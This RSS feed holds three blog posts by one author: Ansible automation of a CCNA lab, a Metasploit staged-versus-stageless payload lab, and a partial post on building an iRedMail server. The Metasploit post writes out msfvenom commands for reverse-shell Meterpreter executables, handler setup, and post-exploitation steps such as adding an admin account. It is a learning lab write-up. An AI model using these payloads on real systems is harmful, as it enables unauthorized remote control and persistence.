<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vibhav Chennamadhava</title>
    <description>The latest articles on DEV Community by Vibhav Chennamadhava (@vibhav_chennamadhava_a887).</description>
    <link>https://dev.to/vibhav_chennamadhava_a887</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3691705%2F861e3c0a-4ded-4bcb-80ca-3aceb004c395.jpg</url>
      <title>DEV Community: Vibhav Chennamadhava</title>
      <link>https://dev.to/vibhav_chennamadhava_a887</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vibhav_chennamadhava_a887"/>
    <language>en</language>
    <item>
      <title>I Stopped Typing Switch Configs by Hand (Ansible + My CCNA Lab)</title>
      <dc:creator>Vibhav Chennamadhava</dc:creator>
      <pubDate>Wed, 23 Sep 2026 01:30:22 +0000</pubDate>
      <link>https://dev.to/vibhav_chennamadhava_a887/i-stopped-typing-switch-configs-by-hand-ansible-my-ccna-lab-53nh</link>
      <guid>https://dev.to/vibhav_chennamadhava_a887/i-stopped-typing-switch-configs-by-hand-ansible-my-ccna-lab-53nh</guid>
      <description>&lt;p&gt;&lt;em&gt;From 584 lines of hand-typed IOS to one YAML edit per change&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Six devices. 584 lines of config. Zero typed by hand.&lt;/p&gt;

&lt;p&gt;Well... the second time. 😅&lt;/p&gt;




&lt;h2&gt;
  
  
  Why I did this
&lt;/h2&gt;

&lt;p&gt;A while back I built a full enterprise campus network for the CCNA in Cisco Packet Tracer. Core, distribution and access layers, OSPF, HSRP, EtherChannel, NAT, ACLs, DHCP snooping, Dynamic ARP Inspection, IPv6, a wireless LAN controller. The whole thing.&lt;/p&gt;

&lt;p&gt;Every single line was typed into a CLI. By me. One device at a time.&lt;/p&gt;

&lt;p&gt;So what's the issue? The issue is that every job posting I read says "network automation", and I had never automated anything on this lab. Saying I know automation when all I've done is type commands felt wrong.&lt;/p&gt;

&lt;p&gt;So I rebuilt the lab as code. Here is what that looked like, what broke, and what I learned.&lt;/p&gt;




&lt;h2&gt;
  
  
  The idea in one sentence
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Describe the network as data, and let a template write the config.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you've ever done a mail merge, you already get it. You have a letter with blanks like &lt;code&gt;Dear {{ name }}&lt;/code&gt; and a spreadsheet of names. Merge them and you get 100 personalized letters.&lt;/p&gt;

&lt;p&gt;Here it's the same thing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The spreadsheet&lt;/strong&gt; = YAML files describing each device (VLANs, IPs, HSRP, OSPF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The letter&lt;/strong&gt; = Jinja2 templates that look almost exactly like Cisco config&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The merge button&lt;/strong&gt; = Ansible&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Describe the network as data
&lt;/h2&gt;

&lt;p&gt;Here is VLAN 10 on one of my distribution switches, written as YAML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Vlan10&lt;/span&gt;
  &lt;span class="na"&gt;ipv4&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;10.1.0.2 255.255.255.0&lt;/span&gt;
  &lt;span class="na"&gt;ospf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;ospf_passive&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;hsrp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;group&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;2&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vip&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;10.1.0.1&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;priority&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;105&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;preempt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;true&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
  &lt;span class="na"&gt;acl_in&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;OfficeA_to_OfficeB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No &lt;code&gt;interface&lt;/code&gt;, no &lt;code&gt;standby&lt;/code&gt;, no &lt;code&gt;ip helper-address&lt;/code&gt;. Just facts about the interface.&lt;/p&gt;

&lt;p&gt;Settings every device shares (DNS, NTP, syslog, SSH hardening) live in &lt;strong&gt;one&lt;/strong&gt; file. Change the syslog server once and every device picks it up.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Let the template write the config
&lt;/h2&gt;

&lt;p&gt;That YAML gets rendered into this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="kt"&gt;interface&lt;/span&gt;&lt;span class="nf"&gt; Vlan10&lt;/span&gt;
&lt;span class="k"&gt; description&lt;/span&gt; PCs
&lt;span class="k"&gt; ip&lt;/span&gt; address &lt;span class="m"&gt;10.1.0.2&lt;/span&gt; &lt;span class="m"&gt;255.255.255.0&lt;/span&gt;
&lt;span class="k"&gt; ip&lt;/span&gt; helper-address &lt;span class="m"&gt;10.0.0.76&lt;/span&gt;
&lt;span class="k"&gt; standby&lt;/span&gt; version 2
&lt;span class="k"&gt; standby&lt;/span&gt; 2 ip &lt;span class="m"&gt;10.1.0.1&lt;/span&gt;
&lt;span class="k"&gt; standby&lt;/span&gt; 2 priority 105
&lt;span class="k"&gt; standby&lt;/span&gt; 2 preempt
&lt;span class="k"&gt; ip&lt;/span&gt; access-group OfficeA_to_OfficeB in
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The description comes from the VLAN name. The DHCP relay gets added because it's a distribution switch. I didn't type any of it.&lt;/p&gt;

&lt;p&gt;It also adds lines to &lt;em&gt;other&lt;/em&gt; parts of the config:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;network 10.1.0.2 0.0.0.0 area 0&lt;/code&gt; and &lt;code&gt;passive-interface Vlan10&lt;/code&gt; under OSPF&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;spanning-tree vlan 10,99 priority 0&lt;/code&gt;, because this switch is the HSRP active gateway for VLAN 10, so it should also be the STP root&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; That last one is my favorite. "STP root follows HSRP" is a design rule you learn for the CCNA. Now it's enforced in code, so the two can never drift apart.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The plot twist: Packet Tracer says no
&lt;/h2&gt;

&lt;p&gt;My plan was simple. Write the templates, then let Ansible SSH into each device and push the config.&lt;/p&gt;

&lt;p&gt;Packet Tracer does not accept SSH connections from outside the app. At all.&lt;/p&gt;

&lt;p&gt;So Ansible can't push to my lab. Pretty big problem for an automation project!&lt;/p&gt;

&lt;p&gt;Instead of giving up, I changed the question from "can I push it?" to &lt;strong&gt;"can I prove the templates are correct?"&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Proving it: the drift check
&lt;/h2&gt;

&lt;p&gt;I already had the hand-built configs from the original lab saved in the repo. So I wrote a checker that compares the configs the templates generate against those originals.&lt;/p&gt;

&lt;p&gt;The result:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Device&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Lines rendered&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;R1&lt;/td&gt;
&lt;td&gt;Edge router&lt;/td&gt;
&lt;td&gt;119&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSW1&lt;/td&gt;
&lt;td&gt;Core&lt;/td&gt;
&lt;td&gt;81&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DSW-A1&lt;/td&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;125&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DSW-B1&lt;/td&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASW-A1&lt;/td&gt;
&lt;td&gt;Access&lt;/td&gt;
&lt;td&gt;74&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASW-B1&lt;/td&gt;
&lt;td&gt;Access&lt;/td&gt;
&lt;td&gt;65&lt;/td&gt;
&lt;td&gt;✅ MATCH&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;6 of 6 devices, zero drift.&lt;/strong&gt; The templates recreate the lab I built by hand.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It's not a plain text diff. Cisco doesn't care what order most commands are in, but it &lt;em&gt;does&lt;/em&gt; care about the order of ACL entries. So the checker ignores order everywhere except inside ACLs.&lt;/p&gt;

&lt;p&gt;To make sure it wasn't just saying "looks good!" to everything, I broke a config on purpose. I changed an HSRP priority, swapped two ACL lines and deleted a VLAN. It caught all three.&lt;/p&gt;

&lt;p&gt;It also caught a real mistake in my original build: two access switches had &lt;code&gt;enable secret&lt;/code&gt; and &lt;code&gt;username admin&lt;/code&gt; typed &lt;strong&gt;twice&lt;/strong&gt;. IOS doesn't mind, but the generated configs are clean. Automation 1, manual typing 0.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Where it gets good: adding a VLAN
&lt;/h2&gt;

&lt;p&gt;Let's say I need a Guest VLAN. By hand, that means:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create the VLAN&lt;/li&gt;
&lt;li&gt;Create the SVI with an IP, DHCP relay and HSRP&lt;/li&gt;
&lt;li&gt;Add the VLAN to &lt;strong&gt;every&lt;/strong&gt; trunk&lt;/li&gt;
&lt;li&gt;Update STP root priorities&lt;/li&gt;
&lt;li&gt;Add the network to OSPF and make it passive&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Forget step 3 on one trunk and guests can't get an IP. Forget step 5 and it's a routing mystery at 2 AM.&lt;/p&gt;

&lt;p&gt;With the templates, it's &lt;strong&gt;7 lines of YAML&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; vlans:
   - {id: 40, name: Wi-Fi}
&lt;span class="gi"&gt;+  - {id: 50, name: Guest}
&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gi"&gt;+  - name: Vlan50
+    ipv4: 10.7.0.2 255.255.255.0
+    ospf: true
+    ospf_passive: true
+    hsrp: {group: 5, vip: 10.7.0.1}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And those 7 lines produce &lt;strong&gt;15 correct IOS changes&lt;/strong&gt;: the VLAN, the SVI with HSRP and DHCP relay, 4 trunks, the STP priority, and 2 OSPF lines. You can't forget a step when there's only one step.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Safety rails (because networks are scary)
&lt;/h2&gt;

&lt;p&gt;The deploy playbook is ready for real gear, and it's built to be hard to misuse:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dry run by default.&lt;/strong&gt; It shows what each device &lt;em&gt;would&lt;/em&gt; receive. You have to type &lt;code&gt;apply=true&lt;/code&gt; to actually push.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No passwords in Git.&lt;/strong&gt; Real secrets come from an encrypted Ansible Vault file. If a placeholder password is still in the config, it refuses to push.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backup first.&lt;/strong&gt; Every device's running config is saved before anything changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One device at a time.&lt;/strong&gt; If one fails, the rollout stops.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. A green checkmark on every commit
&lt;/h2&gt;

&lt;p&gt;GitHub Actions runs on every push:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✅ YAML lint
✅ Ansible lint (strictest "production" profile)
✅ Syntax check on every playbook
✅ Render all configs + drift check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If someone (me) edits the YAML and breaks something, the badge turns red before it ever gets near a switch.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Automation isn't about typing faster.&lt;/strong&gt; It means every change gets reviewed, can be repeated, and provably matches the design.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prove it before you push it.&lt;/strong&gt; The drift check was worth more than the deploy playbook. It's the part that makes me trust everything else.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Be honest about what's tested.&lt;/strong&gt; Deploy and verify haven't touched a live device yet, and the README says so. I'd rather say that in an interview than get caught overselling.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;Rebuilding a few devices in &lt;strong&gt;Cisco Modeling Labs&lt;/strong&gt; (which has real IOS and real SSH) so I can run the full push → verify → backup loop for real. When that works, expect a part 2. 👀&lt;/p&gt;




&lt;p&gt;That is it. It's not perfect, and there's a good chance a network engineer reading this has a better way to do half of it. If so, please tell me!&lt;/p&gt;

&lt;p&gt;If you want to dig into the code, here's the repo:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/VibhavChennamadhava/CCNA-Enterprise-Campus-Mega-Lab" rel="noopener noreferrer"&gt;https://github.com/VibhavChennamadhava/CCNA-Enterprise-Campus-Mega-Lab&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Question for the comments:&lt;/strong&gt; have you automated a home lab? What did you use: Ansible, Nornir, Netmiko, something else? I'd love to hear what worked (and what didn't)!&lt;/p&gt;

&lt;p&gt;Questions or comments? Love to hear from you!&lt;/p&gt;

</description>
      <category>networking</category>
      <category>ansible</category>
      <category>automation</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Metasploit Deep Dive: Staged vs. Stageless Payloads — A Practical Lab</title>
      <dc:creator>Vibhav Chennamadhava</dc:creator>
      <pubDate>Fri, 16 Jan 2026 05:26:44 +0000</pubDate>
      <link>https://dev.to/vibhav_chennamadhava_a887/metasploit-deep-dive-staged-vs-stageless-payloads-a-practical-lab-1pa7</link>
      <guid>https://dev.to/vibhav_chennamadhava_a887/metasploit-deep-dive-staged-vs-stageless-payloads-a-practical-lab-1pa7</guid>
      <description>&lt;p&gt;Metasploit Deep Dive: Staged vs. Stageless Payloads&lt;br&gt;
If you’re learning Metasploit, you’ve probably typed one of these without thinking too hard:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;windows/meterpreter/reverse_tcp&lt;br&gt;
windows/meterpreter_reverse_tcp&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
They look almost identical. One slash. One underscore. Easy to copy-paste, easy to forget.&lt;/p&gt;

&lt;p&gt;I used to treat them the same way—until I actually built a lab to see what really happens under the hood. And that’s where things got interesting.&lt;/p&gt;

&lt;p&gt;This article walks through a hands-on lab where I compared staged vs. stageless payloads, broke a few things along the way, and finally understood why this distinction matters in real attacks.&lt;/p&gt;

&lt;p&gt;Why This Difference Matters (Especially for Beginners)&lt;br&gt;
Early on, it’s tempting to think exploitation is about memorizing commands. Run msfvenom, start a handler, wait for a session.&lt;/p&gt;

&lt;p&gt;But the real skill isn’t in typing commands — it’s in understanding how payloads are delivered, what can fail, and why one payload works while another dies silently.&lt;/p&gt;

&lt;p&gt;Staged vs. stageless payloads are a perfect example of this.&lt;/p&gt;

&lt;p&gt;The Lab Setup (Nothing Fancy, Just Real)&lt;br&gt;
For this project, I kept the environment simple and realistic:&lt;/p&gt;

&lt;p&gt;Attacker: Kali Linux with Metasploit Framework&lt;/p&gt;

&lt;p&gt;Target: Windows VM&lt;/p&gt;

&lt;p&gt;Network: Host-only / internal lab network&lt;/p&gt;

&lt;p&gt;Delivery: Payload hosted via Apache&lt;/p&gt;

&lt;p&gt;Goal:&lt;/p&gt;

&lt;p&gt;Get a Meterpreter session&lt;/p&gt;

&lt;p&gt;Perform post-exploitation (recon + admin account creation)&lt;/p&gt;

&lt;p&gt;Everything was done in an isolated lab I control.&lt;/p&gt;

&lt;p&gt;Payload Theory (Quick, Practical Version)&lt;br&gt;
Before touching commands, here’s the mental model that finally clicked for me:&lt;/p&gt;

&lt;p&gt;🧩 Staged Payload&lt;br&gt;
Small initial payload (the “stager”)&lt;/p&gt;

&lt;p&gt;Connects back to the attacker&lt;/p&gt;

&lt;p&gt;Downloads the full Meterpreter stage into memory&lt;/p&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;p&gt;Smaller executable&lt;/p&gt;

&lt;p&gt;Flexible, modular&lt;/p&gt;

&lt;p&gt;Cons:&lt;/p&gt;

&lt;p&gt;If the second stage is blocked → session dies&lt;/p&gt;

&lt;p&gt;🧱 Stageless Payload&lt;br&gt;
Entire payload bundled into one executable&lt;/p&gt;

&lt;p&gt;No second-stage download&lt;/p&gt;

&lt;p&gt;Pros:&lt;/p&gt;

&lt;p&gt;More reliable in restricted networks&lt;/p&gt;

&lt;p&gt;Fewer moving parts&lt;/p&gt;

&lt;p&gt;Cons:&lt;/p&gt;

&lt;p&gt;Larger file&lt;/p&gt;

&lt;p&gt;Easier to flag by AV&lt;/p&gt;

&lt;p&gt;Same goal. Very different delivery.&lt;/p&gt;

&lt;p&gt;Part 1: The Staged Payload Attack&lt;br&gt;
Generating the Payload&lt;br&gt;
msfvenom -p windows/meterpreter/reverse_tcp \&lt;br&gt;
LHOST=192.168.56.101 LPORT=443 \&lt;br&gt;
-f exe -o staged.exe&lt;br&gt;
This payload is intentionally small. It’s not Meterpreter yet — it’s just enough code to call home and ask for the rest.&lt;/p&gt;

&lt;p&gt;Setting the Handler&lt;br&gt;
use exploit/multi/handler&lt;br&gt;
set payload windows/meterpreter/reverse_tcp&lt;br&gt;
set LHOST 192.168.56.101&lt;br&gt;
set LPORT 443&lt;br&gt;
exploit -j&lt;br&gt;
Important:&lt;br&gt;
If the payload here doesn’t exactly match what you used in msfvenom, nothing works. No errors. No warnings. Just… nothing.&lt;/p&gt;

&lt;p&gt;I learned that the hard way.&lt;/p&gt;

&lt;p&gt;Execution &amp;amp; Session&lt;br&gt;
Once the victim runs the executable, the stager connects back, pulls the full Meterpreter payload, and opens a session.&lt;/p&gt;

&lt;p&gt;When it works, it feels great.&lt;/p&gt;

&lt;p&gt;When it doesn’t, you’re staring at logs wondering what you broke.&lt;/p&gt;

&lt;p&gt;Part 2: The Stageless Payload Attack&lt;br&gt;
Now for the underscore payload.&lt;/p&gt;

&lt;p&gt;Generating the Payload&lt;br&gt;
msfvenom -p windows/meterpreter_reverse_tcp \&lt;br&gt;
LHOST=192.168.56.101 LPORT=443 \&lt;br&gt;
-f exe -o stageless.exe&lt;br&gt;
This time, everything is baked into one file.&lt;/p&gt;

&lt;p&gt;Handler Setup&lt;br&gt;
use exploit/multi/handler&lt;br&gt;
set payload windows/meterpreter_reverse_tcp&lt;br&gt;
set LHOST 192.168.56.101&lt;br&gt;
set LPORT 443&lt;br&gt;
exploit -j&lt;br&gt;
When the victim executes this payload, the session opens immediately. No staging. No second download.&lt;/p&gt;

&lt;p&gt;In restrictive environments, this difference matters a lot.&lt;/p&gt;

&lt;p&gt;Post-Exploitation: What We Did After Access&lt;br&gt;
Once Meterpreter was live, I treated this like a real post-exploitation scenario:&lt;/p&gt;

&lt;p&gt;System enumeration (sysinfo)&lt;/p&gt;

&lt;p&gt;Dropping into a shell&lt;/p&gt;

&lt;p&gt;Creating a new administrator account&lt;/p&gt;

&lt;p&gt;Running local exploit suggestion modules&lt;/p&gt;

&lt;p&gt;This part matters because exploitation isn’t the finish line — it’s the starting point.&lt;/p&gt;

&lt;p&gt;The “Aha” Moment&lt;br&gt;
The biggest takeaway wasn’t the commands.&lt;/p&gt;

&lt;p&gt;It was realizing that:&lt;/p&gt;

&lt;p&gt;Payload choice affects reliability&lt;/p&gt;

&lt;p&gt;Network controls affect staging&lt;/p&gt;

&lt;p&gt;A “session closed” error usually means delivery failed, not “Metasploit is broken”&lt;/p&gt;

&lt;p&gt;Once you understand that, debugging becomes logical instead of frustrating.&lt;/p&gt;

&lt;p&gt;Common Frustrations (That I Definitely Hit)&lt;br&gt;
❌ Session opens then immediately closes&lt;/p&gt;

&lt;p&gt;❌ No callback because LHOST was wrong&lt;/p&gt;

&lt;p&gt;❌ Firewall silently blocking staged payloads&lt;/p&gt;

&lt;p&gt;❌ Payload/handler mismatch&lt;/p&gt;

&lt;p&gt;These aren’t beginner mistakes — they’re normal. What matters is knowing where to look and why it failed.&lt;/p&gt;

&lt;p&gt;So… Which Payload Should You Use?&lt;br&gt;
There’s no universal answer.&lt;/p&gt;

&lt;p&gt;Staged payloads -&amp;gt;Smaller, More flexible, Risky in filtered networks&lt;/p&gt;

&lt;p&gt;Stageless payloads-&amp;gt; Larger, More reliable, Easier to detect&lt;/p&gt;

&lt;p&gt;Good attackers (and good defenders) understand both.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
If you’re learning Metasploit, don’t stop at “I got a session.”&lt;/p&gt;

&lt;p&gt;Build labs where:&lt;/p&gt;

&lt;p&gt;Things break&lt;/p&gt;

&lt;p&gt;Sessions fail&lt;/p&gt;

&lt;p&gt;You have to reason through why&lt;/p&gt;

&lt;p&gt;That’s where real skill develops.&lt;/p&gt;

&lt;p&gt;I’ve documented the full lab — commands, screenshots, and walkthrough — here:&lt;br&gt;
👉 GitHub Repo:&lt;br&gt;
&lt;a href="https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads" rel="noopener noreferrer"&gt;https://github.com/VibhavChennamadhava/Metasploit-Staged-vs-Stageless-Payloads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Build this lab yourself. Break it. Fix it.&lt;br&gt;
That’s how it sticks.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Built My Own SMTP Mail Server using iRedMail</title>
      <dc:creator>Vibhav Chennamadhava</dc:creator>
      <pubDate>Fri, 16 Jan 2026 02:20:57 +0000</pubDate>
      <link>https://dev.to/vibhav_chennamadhava_a887/built-my-own-smtp-mail-server-using-iredmail-23lm</link>
      <guid>https://dev.to/vibhav_chennamadhava_a887/built-my-own-smtp-mail-server-using-iredmail-23lm</guid>
      <description>&lt;p&gt;I Built My Own SMTP Mail Server (and Learned Why Email Is Hard)&lt;br&gt;
Email feels boring. It’s just… there. You sign up for a service, you get a verification link, life moves on. But at some point I realized something embarrassing for someone who likes networking and security:&lt;/p&gt;

&lt;p&gt;I had never actually built an email server.&lt;/p&gt;

&lt;p&gt;So I decided to fix that.&lt;/p&gt;

&lt;p&gt;This post is about how I built a fully working SMTP mail server from scratch on a VPS, wired it to my own domain, fought DNS demons, broke TLS configs, landed in Gmail spam, and eventually saw that beautiful moment where an external reply landed back in my inbox.&lt;/p&gt;

&lt;p&gt;This wasn’t about production readiness or scaling.&lt;br&gt;
This was about learning how email actually works under the hood.&lt;/p&gt;

&lt;p&gt;The Why: “I Should Probably Know This”&lt;br&gt;
If you’re into backend, security, or infrastructure, email keeps popping up:&lt;/p&gt;

&lt;p&gt;Password resets&lt;/p&gt;

&lt;p&gt;Alerts&lt;/p&gt;

&lt;p&gt;Phishing detection&lt;/p&gt;

&lt;p&gt;SPF / DKIM / DMARC checks in security tools&lt;/p&gt;

&lt;p&gt;Mail logs in incident response&lt;/p&gt;

&lt;p&gt;And yet, most of us just treat it as a black box.&lt;/p&gt;

&lt;p&gt;I wanted to understand&lt;/p&gt;

&lt;p&gt;What actually happens when you hit “Send”&lt;/p&gt;

&lt;p&gt;Why emails get marked as spam&lt;/p&gt;

&lt;p&gt;Why everyone warns you: “Don’t run your own mail server”&lt;/p&gt;

&lt;p&gt;So I did exactly that. 😅&lt;/p&gt;

&lt;p&gt;What I Built (High-Level)&lt;br&gt;
I set up a real SMTP mail server for my domain:&lt;/p&gt;

&lt;p&gt;Domain: vibinsec.live&lt;/p&gt;

&lt;p&gt;Mail host: mail.vibinsec.live&lt;/p&gt;

&lt;p&gt;Stack: iRedMail on Ubuntu (Postfix + Dovecot + friends)&lt;/p&gt;

&lt;p&gt;Webmail: Roundcube&lt;/p&gt;

&lt;p&gt;Admin panel: iRedAdmin&lt;/p&gt;

&lt;p&gt;TLS: Let’s Encrypt&lt;/p&gt;

&lt;p&gt;Auth: SPF, DKIM, DMARC&lt;/p&gt;

&lt;p&gt;Reverse DNS (PTR): Configured at the VPS provider&lt;/p&gt;

&lt;p&gt;And most importantly:&lt;/p&gt;

&lt;p&gt;✅ Sent mail to Gmail&lt;br&gt;
✅ Received replies back&lt;br&gt;
✅ End-to-end email flow actually worked&lt;/p&gt;

&lt;p&gt;No mock servers. No localhost-only magic.&lt;/p&gt;

&lt;p&gt;The Architecture (a.k.a. “So Many Moving Parts”)&lt;br&gt;
Here’s what’s really running when you say “mail server”:&lt;/p&gt;

&lt;p&gt;Postfix – handles SMTP (sending &amp;amp; receiving mail)&lt;/p&gt;

&lt;p&gt;Dovecot – handles IMAP (reading mail)&lt;/p&gt;

&lt;p&gt;Amavis / DKIM tools – signs outgoing mail&lt;/p&gt;

&lt;p&gt;Nginx – serves Roundcube and admin panels&lt;/p&gt;

&lt;p&gt;DNS – A, MX, TXT records doing half the trust work&lt;/p&gt;

&lt;p&gt;TLS – not just for HTTPS, but SMTP and IMAP too&lt;/p&gt;

&lt;p&gt;Nothing here is conceptually insane.&lt;br&gt;
But the integration is where the pain lives.&lt;/p&gt;

&lt;p&gt;The Juicy Part: The Struggles&lt;br&gt;
This project humbled me. Repeatedly.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;DNS Is Where Hope Goes to Die
Setting up:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A record&lt;/p&gt;

&lt;p&gt;MX record&lt;/p&gt;

&lt;p&gt;SPF&lt;/p&gt;

&lt;p&gt;DKIM&lt;/p&gt;

&lt;p&gt;DMARC&lt;/p&gt;

&lt;p&gt;…sounds straightforward until you realize:&lt;/p&gt;

&lt;p&gt;One typo = silent failure&lt;/p&gt;

&lt;p&gt;Propagation delays make debugging awful&lt;/p&gt;

&lt;p&gt;Every provider has a slightly different UI&lt;/p&gt;

&lt;p&gt;I spent a lot of time thinking something was broken when it was just DNS not updating yet.&lt;/p&gt;

&lt;p&gt;Skill gained:&lt;br&gt;
Real-world DNS troubleshooting and patience I didn’t know I needed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reverse DNS (PTR) Is Not Optional
I learned this the hard way.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Everything looked right.&lt;br&gt;
SPF? Good.&lt;br&gt;
DKIM? Signed.&lt;br&gt;
TLS? Enabled.&lt;/p&gt;

&lt;p&gt;Still landing in spam.&lt;/p&gt;

&lt;p&gt;Turns out:&lt;/p&gt;

&lt;p&gt;If your server IP doesn’t reverse-resolve to your mail hostname, many providers don’t trust you.&lt;/p&gt;

&lt;p&gt;Configuring PTR records meant going into the VPS provider’s dashboard, not my domain registrar. That mental context switch was easy to miss.&lt;/p&gt;

&lt;p&gt;Lesson: Email trust is reputation-based and unforgiving.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;TLS Everywhere (Not Just the Website)
I thought:&lt;/li&gt;
&lt;/ol&gt;

